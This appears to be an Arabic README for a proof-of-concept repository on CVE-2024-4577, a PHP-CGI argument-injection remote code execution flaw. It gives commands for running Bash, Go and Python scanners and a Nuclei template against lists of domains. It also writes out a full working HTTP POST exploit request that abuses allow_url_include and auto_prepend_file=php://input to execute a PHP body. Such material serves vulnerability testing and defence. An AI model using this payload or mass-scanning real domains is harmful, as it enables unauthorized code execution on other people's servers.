
إثبات مفهوم (PoC) لثغرة RCE في PHP (CVE-2024-4577) مكتوب بلغة bash و go و python وقالب nuclei.
يحتوي هذا المستودع على نصوص برمجية للتحقق من ثغرة CVE-2024-4577، وهي مشكلة حقن الوسائط في PHP-CGI. يمكنك استخدام نصوص Bash وGo وPython المقدمة لاختبار قائمة من النطاقات لهذه الثغرة. لقد أصدرت أيضًا ملف YAML لـ Nuclei.
لاستخدام نص Bash، قم بتشغيل الأمر التالي:
./CVE-2024-4577.sh /path/to/domains-list
أولاً، احفظ نص Go في ملف باسم CVE-2024-4577.go. لبناء وتشغيل نص Go:
قم بتجميع نص Go إلى ملف ثنائي:
go build -o CVE-2024-4577 CVE-2024-4577.go
قم بتشغيل الملف الثنائي مع ملف قائمة النطاقات كوسيطة:
./CVE-2024-4577 /path/to/domains-list
أولاً، احفظ نص Python في ملف باسم CVE-2024-4577.py. لتشغيل نص Python:
تأكد من تثبيت مكتبة requests:
pip install requests
قم بتشغيل نص Python مع ملف قائمة النطاقات كوسيطة:
python CVE-2024-4577.py /path/to/domains-list
(اختياري) إذا كنت تريد طباعة المضيفين الثغرات فقط:
python CVE-2024-4577.py /path/to/domains-list --quiet
لاختبار الثغرة يدويًا، يمكنك إرسال طلب POST التالي:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
لقد قمت أيضًا بإنشاء قالب Nuclei لفحص المثيلات الثغرات، ويستخدم مخطط التخطيط v3 وقد تم اختباره في بيئة مختبرية:
nuclei -t CVE-2024-4577.yaml -u <target-url>
يجب أن تكون قائمة النطاقات مسبوقة بـ http/https لضمان قراءتها بشكل صحيح.
http://example.com
http://testsite.com
http://vulnerablesite.com
إذا تم العثور على نطاق معرض للثغرة، سيكون الإخراج:
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable